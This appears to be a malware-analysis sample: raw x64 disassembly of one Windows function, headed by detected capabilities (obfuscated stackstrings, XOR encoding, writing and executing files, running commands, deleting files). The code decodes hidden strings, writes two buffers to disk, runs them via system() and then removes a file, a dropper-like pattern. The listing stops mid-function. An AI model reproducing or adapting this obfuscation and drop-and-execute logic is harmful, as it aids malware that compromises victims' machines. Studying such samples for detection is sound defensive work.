Function at 0x1400151d0
Capabilities:
Contain obfuscated stackstrings
Delete file
Encode data using xor
Execute command
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r13
lea rbp, [rsp - 0x380]
sub rsp, 0x480
mov byte [rbp + 0x3c8], reloc.WS2_32.dll_send
xor esi, esi
mov byte [rbp + 0x3c9], reloc.WLDAP32.dll_Ordinal_22
movabs r10, 0x67f14b8d37372a7c
mov byte [rbp + 0x3ca], 7
mov r9, r10
mov byte [rbp + 0x3cb], 0x7d
mov r8d, esi
movzx eax, byte [rbp + 0x3c8]
lea r13d, [rsi + 0xf]
lea rax, [rbp + 0x3c8]
sub r9, rax
nop dword [rax]
mov rax, r8
lea rcx, [rbp + 0x3c8]
and eax, r13d
add rcx, r8
cmp rax, r13
cmovae rax, r13
movsx rdx, byte [rcx]
add cl, r9b
shl rax, 2
shrx rax, r10, rax
and al, r13b
xor al, cl
xor al, dl
mov byte [rbp + r8 + 0x3c8], al
inc r8
cmp r8, 4
jb 0x140015230
lea rcx, [rbp + 0x3c8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x45], 0xe6
movabs rbx, 0x9c1e819dfe3a51d8
mov byte [rsp + 0x46], 0xe4
mov r9, rbx
mov byte [rsp + 0x47], 0xeb
mov r8, rsi
mov byte [rsp + 0x48], 0xea
mov byte [rsp + 0x49], 0xe3
mov byte [rsp + 0x4a], 0xe6
mov byte [rsp + 0x4b], Ordinal_211
movzx eax, byte [rsp + 0x45]
lea rax, [rsp + 0x45]
sub r9, rax
nop dword [rax]
mov rax, r8
lea rcx, [rsp + 0x45]
and eax, r13d
add rcx, r8
cmp rax, r13
cmovae rax, r13
movsx rdx, byte [rcx]
add cl, r9b
shl rax, 2
shrx rax, rbx, rax
and al, r13b
xor al, cl
xor al, dl
mov byte [rsp + r8 + 0x45], al
inc r8
cmp r8, 7
jb 0x1400152c0
vpxor xmm0, xmm0, xmm0
vpxor xmm1, xmm1, xmm1
mov rdi, 0xffffffffffffffff
lea rax, [rsp + 0x45]
vmovups xmmword [rbp + 0x2c0], xmm0
vmovdqu xmmword [rbp + 0x2d0], xmm1
mov r8, rdi
inc r8
cmp byte [rax + r8], sil
jne 0x140015321
lea rdx, [rsp + 0x45]
lea rcx, [rbp + 0x2c0]
call fcn.140002120
lea r8, [rbp + 0x2c0]
lea rdx, [rbp - 0x48]
lea rcx, [0x1400a1b80]
call fcn.140024720
mov byte [rsp + 0x4c], 0xe6
mov r9, rbx
mov byte [rsp + 0x4d], 0xe5
mov r8, rsi
mov byte [rsp + 0x4e], 0xea
mov byte [rsp + 0x4f], 0xe6
mov byte [rsp + 0x50], 0xe2
mov byte [rsp + 0x51], 0xeb
mov byte [rsp + 0x52], Ordinal_211
movzx eax, byte [rsp + 0x4c]
lea rax, [rsp + 0x4c]
sub r9, rax
nop dword [rax + rax]
mov rax, r8
lea rcx, [rsp + 0x4c]
and eax, r13d
add rcx, r8
cmp rax, r13
cmovae rax, r13
movsx rdx, byte [rcx]
add cl, r9b
shl rax, 2
shrx rax, rbx, rax
and al, r13b
xor al, cl
xor al, dl
mov byte [rsp + r8 + 0x4c], al
inc r8
cmp r8, 7
jb 0x140015390
vpxor xmm0, xmm0, xmm0
vpxor xmm1, xmm1, xmm1
vmovups xmmword [rbp + 0x2e0], xmm0
vmovdqu xmmword [rbp + 0x2f0], xmm1
lea rax, [rsp + 0x4c]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x1400153f0
mov qword [rsp + 0x478], r12
lea rdx, [rsp + 0x4c]
mov qword [rsp + 0x470], r14
lea rcx, [rbp + 0x2e0]
mov qword [rsp + 0x468], r15
call fcn.140002120
lea r8, [rbp + 0x2e0]
lea rdx, [rbp - 0x80]
lea rcx, [0x1400a1b80]
call fcn.140024720
mov r8, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x80]
cmp r8, qword [rbp - 0x40]
je 0x1400163c7
cmp rcx, qword [rbp - 0x78]
je 0x1400163c7
mov byte [rsp + 0x40], 0x9e
movabs r10, 0xde0f4b0682970ebc
mov byte [rsp + 0x41], reloc.WLDAP32.dll_Ordinal_211
mov r9, r10
mov byte [rsp + 0x42], reloc.WLDAP32.dll_Ordinal_200
mov r8, rsi
mov byte [rsp + 0x43], 0xda
mov byte [rsp + 0x44], Ordinal_200
movzx eax, byte [rsp + 0x40]
lea rax, [rsp + 0x40]
sub r9, rax
nop dword [rax + rax]
mov rax, r8
lea rcx, [rsp + 0x40]
and eax, r13d
add rcx, r8
cmp rax, r13
cmovae rax, r13
movsx rdx, byte [rcx]
add cl, r9b
shl rax, 2
shrx rax, r10, rax
and al, r13b
xor al, cl
xor al, dl
mov byte [rsp + r8 + 0x40], al
inc r8
cmp r8, 5
jb 0x140015490
mov edx, 0xa
lea rcx, [rbp + 0x2a0]
call fcn.140013560
mov byte [rbp + 0x3b0], Ordinal_46
movabs r14, 0x51f320bfa785c278
mov rbx, rax
mov byte [rbp + 0x3b1], 0x7e
movzx ecx, byte [rbp + 0x3b0]
lea rax, [rbp + 0x3b0]
mov r9, r14
mov r8, rsi
sub r9, rax
nop dword [rax]
mov rax, r8
lea rcx, [rbp + 0x3b0]
and eax, r13d
add rcx, r8
cmp rax, r13
cmovae rax, r13
movsx rdx, byte [rcx]
add cl, r9b
shl rax, 2
shrx rax, r14, rax
and al, r13b
xor al, cl
xor al, dl
mov byte [rbp + r8 + 0x3b0], al
inc r8
cmp r8, 2
jb 0x140015510
mov rdx, qword [0x1400a1af0]
lea rax, [rbp + 0x3b0]
mov rcx, rdi
inc rcx
cmp byte [rax + rcx], sil
jne 0x140015560
movabs r12, 0x7fffffffffffffff
mov rax, r12
sub rax, rdx
cmp rax, rcx
jb 0x140016478
cmp qword [0x1400a1af8], r13
lea r15, [0x1400a1ae0]
mov qword [rsp + 0x30], rcx
lea rax, [rbp + 0x3b0]
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x260]
mov qword [rsp + 0x20], rdx
mov r9, r15
cmova r9, qword [0x1400a1ae0]
mov r8, r15
movzx edx, byte [rbp + 0x3b0]
call fcn.140009e40
movzx edx, byte [rbp + 0x3b0]
lea r8, [rbp + 0x260]
mov r9, rbx
lea rcx, [rbp + 0x240]
call fcn.140009c40
lea rax, [rsp + 0x40]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], sil
jne 0x1400155f0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x240]
call fcn.14000e6c0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x60], xmm0
vmovups ymm0, ymmword [rax]
vmovups ymmword [rsp + 0x60], ymm0
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], r13
mov byte [rax], sil
mov rdx, qword [rbp + 0x258]
cmp rdx, r13
jbe 0x140015676
mov rcx, qword [rbp + 0x240]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001566e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001571a
vzeroupper
call fcn.14007fd28
mov rdx, qword [rbp + 0x278]
mov byte [rbp + 0x240], sil
vmovdqu xmm0, xmmword [0x140085a30]
vmovdqu xmmword [rbp + 0x250], xmm0
cmp rdx, r13
jbe 0x1400156cc
mov rcx, qword [rbp + 0x260]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400156c4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001571a
vzeroupper
call fcn.14007fd28
mov rdx, qword [rbp + 0x2b8]
mov byte [rbp + 0x260], sil
vmovdqu xmm0, xmmword [0x140085a30]
vmovdqu xmmword [rbp + 0x270], xmm0
cmp rdx, r13
jbe 0x14001572c
mov rcx, qword [rbp + 0x2a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015724
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140015724
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
vzeroupper
call fcn.14007fd28
vmovdqu xmm0, xmmword [0x140085a30]
vmovdqu xmmword [rbp + 0x2b0], xmm0
mov byte [rbp + 0x2a0], sil
movabs r10, 0x889d00639c60d638
mov byte [rsp + 0x53], WSAGetLastError
mov r9, r10
mov byte [rsp + 0x54], 0x57
mov r8, rsi
mov byte [rsp + 0x55], 0x59
mov byte [rsp + 0x56], 0x5b
mov byte [rsp + 0x57], 0x59
mov byte [rsp + 0x58], reloc.WS2_32.dll_setsockopt
mov byte [rsp + 0x59], 0x41
mov byte [rsp + 0x5a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rsp + 0x5b], Ordinal_50
mov byte [rsp + 0x5c], 0x47
movzx eax, byte [rsp + 0x53]
lea rax, [rsp + 0x53]
sub r9, rax
mov rax, r8
lea rcx, [rsp + 0x53]
and eax, r13d
add rcx, r8
cmp rax, r13
cmovae rax, r13
movsx rdx, byte [rcx]
add cl, r9b
shl rax, 2
shrx rax, r10, rax
and al, r13b
xor al, cl
xor al, dl
mov byte [rsp + r8 + 0x53], al
inc r8
cmp r8, 0xa
jb 0x140015792
mov rdx, qword [0x1400a1af0]
lea rax, [rsp + 0x53]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], sil
jne 0x1400157e0
mov rax, r12
sub rax, rdx
cmp rax, rcx
jb 0x14001647e
cmp qword [0x1400a1af8], r13
lea rax, [rsp + 0x53]
mov qword [rsp + 0x30], rcx
mov r9, r15
cmova r9, qword [0x1400a1ae0]
lea rcx, [rbp - 0x68]
mov qword [rsp + 0x28], rax
mov r8, r15
mov qword [rsp + 0x20], rdx
movzx edx, byte [rbp + 0x3b0]
vzeroupper
call fcn.140009e40
mov byte [rbp + 0x3b8], Ordinal_46
mov r9, r14
mov byte [rbp + 0x3b9], 0x7e
mov r8, rsi
movzx eax, byte [rbp + 0x3b8]
lea rax, [rbp + 0x3b8]
sub r9, rax
nop dword [rax]
mov rax, r8
lea rcx, [rbp + 0x3b8]
and eax, r13d
add rcx, r8
cmp rax, r13
cmovae rax, r13
movsx rdx, byte [rcx]
add cl, r9b
shl rax, 2
shrx rax, r14, rax
and al, r13b
xor al, cl
xor al, dl
mov byte [rbp + r8 + 0x3b8], al
inc r8
cmp r8, 2
jb 0x140015860
mov rdx, qword [0x1400a1af0]
lea rax, [rbp + 0x3b8]
mov rcx, rdi
inc rcx
cmp byte [rax + rcx], sil
jne 0x1400158b0
mov rax, r12
sub rax, rdx
cmp rax, rcx
jb 0x140016487
cmp qword [0x1400a1af8], r13
lea rax, [rbp + 0x3b8]
mov qword [rsp + 0x30], rcx
mov r9, r15
cmova r9, qword [0x1400a1ae0]
lea rcx, [rbp + 0x280]
mov qword [rsp + 0x28], rax
mov r8, r15
mov qword [rsp + 0x20], rdx
movzx edx, byte [rbp + 0x3b0]
call fcn.140009e40
cmp qword [0x1400a1b18], r13
lea rdx, [0x1400a1b00]
mov r8, qword [0x1400a1b10]
lea rcx, [rbp + 0x280]
cmova rdx, qword [0x1400a1b00]
call fcn.14000e6c0
vmovups ymm0, ymmword [rax]
vmovups ymmword [rbp + 0x340], ymm0
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], r13
mov byte [rax], sil
mov rdx, qword [rbp + 0x298]
cmp rdx, r13
jbe 0x14001598f
mov rcx, qword [rbp + 0x280]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015987
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140015987
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
vzeroupper
call fcn.14007fd28
vmovdqu xmm0, xmmword [0x140085a30]
cmp qword [rsp + 0x78], r13
lea rbx, [rsp + 0x60]
lea rax, [0x140084538]
mov byte [rbp + 0x280], sil
cmova rbx, qword [rsp + 0x60]
lea rcx, [rbp + 0x1d8]
vmovdqu xmmword [rbp + 0x290], xmm0
mov qword [rbp + 0x130], rax
vzeroupper
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
xor r9d, r9d
lea rdx, [rbp + 0x138]
xor r8d, r8d
lea rcx, [rbp + 0x130]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
mov rax, qword [rbp + 0x130]
lea r15, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x130], r15
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
lea rcx, [rbp + 0x138]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [rbp + 0x1b4], sil
lea rcx, [rbp + 0x138]
mov qword [rbp + 0x138], rax
mov byte [rbp + 0x1a9], sil
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x1400a2300]
lea rcx, [rbp + 0x138]
mov r9d, 0x40
mov qword [rbp + 0x1b8], rsi
mov rdx, rbx
mov qword [rbp + 0x1ac], rax
mov qword [rbp + 0x1a0], rsi
lea r8d, [r9 - 0x1e]
call fcn.140017720
test rax, rax
jne 0x140015ab2
mov rax, qword [rbp + 0x130]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp + 0x130]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x130], r15
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
cmp qword [rbp + 0x1b8], rsi
je 0x14001629d
mov r8, qword [rbp - 0x40]
lea rcx, [rbp + 0x130]
mov rdx, qword [rbp - 0x48]
sub r8, rdx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea r15, [fcn.140017860]
cmp qword [rbp + 0x1b8], rsi
je 0x140015c94
mov rax, qword [rbp + 0x150]
lea rcx, [rbp + 0x1a8]
cmp qword [rax], rcx
jne 0x140015b4f
mov rcx, qword [rbp + 0x1c0]
mov rdx, qword [rbp + 0x1c8]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0x170]
mov qword [rax], rcx
mov rax, qword [rbp + 0x188]
mov dword [rax], edx
cmp qword [rbp + 0x1a0], rsi
je 0x140015bdc
cmp byte [rbp + 0x1a9], sil
je 0x140015bdc
mov rax, qword [rbp + 0x138]
lea rcx, [rbp + 0x138]
mov edx, edi
mov r8, qword [rax + 0x18]
cmp r8, r15
jne 0x140015b85
call fcn.140017860
jmp 0x140015b88
call r8
cmp eax, edi
jne 0x140015b90
xor bl, bl
jmp 0x140015bde
mov rcx, qword [rbp + 0x1a0]
lea rax, [rbp + 0x10]
lea r9, [rbp + 0x320]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x300]
lea rdx, [rbp + 0x1ac]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140015c46
sub eax, 1
je 0x140015c4d
cmp eax, 2
je 0x140015bd5
xor bl, bl
jmp 0x140015bde
mov byte [rbp + 0x1a9], sil
mov bl, 1
mov rcx, qword [rbp + 0x1b8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test bl, bl
mov byte [rbp + 0x1b4], sil
lea rcx, [rbp + 0x138]
mov byte [rbp + 0x1a9], sil
cmove rcx, rsi
mov rbx, rsi
test eax, eax
cmove rbx, rcx
lea rcx, [rbp + 0x138]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x1400a2300]
mov qword [rbp + 0x1ac], rax
mov qword [rbp + 0x1b8], rsi
mov qword [rbp + 0x1a0], rsi
test rbx, rbx
jne 0x140015ced
jmp 0x140015ccb
mov byte [rbp + 0x1a9], sil
mov rbx, qword [rbp + 0x10]
lea rax, [rbp + 0x300]
sub rbx, rax
je 0x140015c85
mov r9, qword [rbp + 0x1b8]
lea rcx, [rbp + 0x300]
mov r8, rbx
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbx, rax
je 0x140015c85
xor bl, bl
jmp 0x140015bde
cmp byte [rbp + 0x1a9], sil
sete bl
jmp 0x140015bde
lea rcx, [rbp + 0x138]
mov byte [rbp + 0x1b4], sil
mov byte [rbp + 0x1a9], sil
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x1400a2300]
mov qword [rbp + 0x1ac], rax
mov qword [rbp + 0x1b8], rsi
mov qword [rbp + 0x1a0], rsi
mov rax, qword [rbp + 0x130]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp + 0x130]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
cmp qword [rbp - 0x50], r13
lea rax, [0x140084538]
lea rbx, [rbp - 0x68]
mov qword [rbp + 0x20], rax
cmova rbx, qword [rbp - 0x68]
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
xor r9d, r9d
lea rdx, [rbp + 0x28]
xor r8d, r8d
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x20], rax
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea r10d, [rcx - 0xa8]
mov dword [rbp + rcx + 0x1c], r10d
lea rcx, [rbp + 0x28]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [rbp + 0xa4], sil
lea rcx, [rbp + 0x28]
mov qword [rbp + 0x28], rax
mov byte [rbp + 0x99], sil
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x1400a2300]
lea rcx, [rbp + 0x28]
mov r9d, 0x40
mov qword [rbp + 0xa8], rsi
mov rdx, rbx
mov qword [rbp + 0x9c], rax
mov qword [rbp + 0x90], rsi
lea r8d, [r9 - 0x1e]
call fcn.140017720
test rax, rax
jne 0x140015dce
mov rax, qword [rbp + 0x20]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp + 0x20]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x20], rax
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x1c], edx
cmp qword [rbp + 0xa8], rsi
je 0x140016257
mov r8, qword [rbp - 0x78]
lea rcx, [rbp + 0x20]
mov rdx, qword [rbp - 0x80]
sub r8, rdx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
cmp qword [rbp + 0xa8], rsi
je 0x140015f80
mov rax, qword [rbp + 0x40]
lea rcx, [rbp + 0x98]
cmp qword [rax], rcx
jne 0x140015e53
mov rcx, qword [rbp + 0xb0]
mov rdx, qword [rbp + 0xb8]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0x60]
mov qword [rax], rcx
mov rax, qword [rbp + 0x78]
mov dword [rax], edx
cmp qword [rbp + 0x90], rsi
je 0x140015ece
cmp byte [rbp + 0x99], sil
je 0x140015ece
mov rax, qword [rbp + 0x28]
lea rcx, [rbp + 0x28]
mov edx, edi
mov r8, qword [rax + 0x18]
cmp r8, r15
jne 0x140015e7f
call fcn.140017860
jmp 0x140015e82
call r8
cmp eax, edi
jne 0x140015e8a
xor bl, bl
jmp 0x140015ed0
mov rcx, qword [rbp + 0x90]
lea rax, [rbp + 0x18]
lea r9, [rbp + 0x340]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x320]
lea rdx, [rbp + 0x9c]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140015f32
sub eax, 1
je 0x140015f39
cmp eax, 2
je 0x140015ec7
xor bl, bl
jmp 0x140015ed0
mov byte [rbp + 0x99], sil
mov bl, 1
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test bl, bl
mov byte [rbp + 0xa4], sil
lea rcx, [rbp + 0x28]
mov byte [rbp + 0x99], sil
cmove rcx, rsi
mov rbx, rsi
test eax, eax
cmove rbx, rcx
lea rcx, [rbp + 0x28]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x1400a2300]
mov qword [rbp + 0x9c], rax
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0x90], rsi
test rbx, rbx
jne 0x140015fd0
jmp 0x140015fb4
mov byte [rbp + 0x99], sil
mov rbx, qword [rbp + 0x18]
lea rax, [rbp + 0x320]
sub rbx, rax
je 0x140015f71
mov r9, qword [rbp + 0xa8]
lea rcx, [rbp + 0x320]
mov r8, rbx
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbx, rax
je 0x140015f71
xor bl, bl
jmp 0x140015ed0
cmp byte [rbp + 0x99], sil
sete bl
jmp 0x140015ed0
lea rcx, [rbp + 0x28]
mov byte [rbp + 0xa4], sil
mov byte [rbp + 0x99], sil
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov rax, qword [0x1400a2300]
mov qword [rbp + 0x9c], rax
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0x90], rsi
mov rax, qword [rbp + 0x20]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp + 0x20]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov byte [rbp + 0x3c0], 0x50
mov r9, r14
mov byte [rbp + 0x3c1], 0x7e
mov r8, rsi
movzx eax, byte [rbp + 0x3c0]
lea rax, [rbp + 0x3c0]
sub r9, rax
nop word [rax + rax]
mov rax, r8
lea rcx, [rbp + 0x3c0]
and eax, r13d
add rcx, r8
cmp rax, r13
cmovae rax, r13
movzx edx, byte [rcx]
add cl, r9b
shl rax, 2
shrx rax, r14, rax
and al, r13b
xor al, cl
xor al, dl
mov byte [rbp + r8 + 0x3c0], al
inc r8
cmp r8, 2
jb 0x140016000
mov r15, qword [rsp + 0x70]
lea rax, [rbp + 0x3c0]
nop word [rax + rax]
inc rdi
cmp byte [rax + rdi], sil
jne 0x140016050
mov rax, r12
sub rax, r15
cmp rax, rdi
jb 0x14001646c
cmp qword [rsp + 0x78], r13
lea r12, [rsp + 0x60]
lea r14, [r15 + rdi]
mov rbx, r13
cmova r12, qword [rsp + 0x60]
lea rsi, [rbp - 0x10]
vpxor xmm0, xmm0, xmm0
vpxor xmm1, xmm1, xmm1
vmovups xmmword [rbp - 0x10], xmm0
vmovdqu xmmword [rbp], xmm1
cmp r14, rbx
jbe 0x140016120
mov rbx, r14
movabs rax, 0x7fffffffffffffff
or rbx, r13
cmp rbx, rax
jbe 0x1400160e3
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14007fcec
test rax, rax
je 0x1400161c1
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14001611c
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14001610b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140016472
jmp 0x1400160c4
test rcx, rcx
je 0x14001611a
call fcn.14007fcec
mov rsi, rax
jmp 0x14001611c
xor esi, esi
mov qword [rbp - 0x10], rsi
mov r8, r15
mov qword [rbp], r14
mov rdx, r12
mov qword [rbp + 8], rbx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsi + r15]
mov r8, rdi
lea rdx, [rbp + 0x3c0]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r14], 0
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], r13
lea rcx, [rbp - 0x10]
mov r8, qword [rbp - 0x58]
cmova rdx, qword [rbp - 0x68]
call fcn.14000e6c0
xor esi, esi
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbp - 0x30], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rbp - 0x20], xmm1
vmovups ymm0, ymmword [rax]
vmovups ymmword [rbp - 0x30], ymm0
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], r13
mov byte [rax], sil
mov rdx, qword [rbp + 8]
cmp rdx, r13
jbe 0x1400161d3
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400161cb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400161cb
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
vzeroupper
call fcn.14007fd28
cmp qword [rbp - 0x18], r13
lea rcx, [rbp - 0x30]
cmova rcx, qword [rbp - 0x30]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rsp + 0x78], r13
lea rcx, [rsp + 0x60]
cmova rcx, qword [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x140084540]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x18]
cmp rdx, r13
jbe 0x140016246
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016241
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016437
call fcn.14007fd28
vmovdqu xmm0, xmmword [0x140085a30]
vmovdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], sil
mov rax, qword [rbp + 0x20]
lea r15, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x20], r15
mov rax, qword [rbp + 0x20]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x1c], edx
lea rcx, [rbp + 0x28]
call fcn.14000acf0
lea rcx, [rbp + 0x30]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x130], r15
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
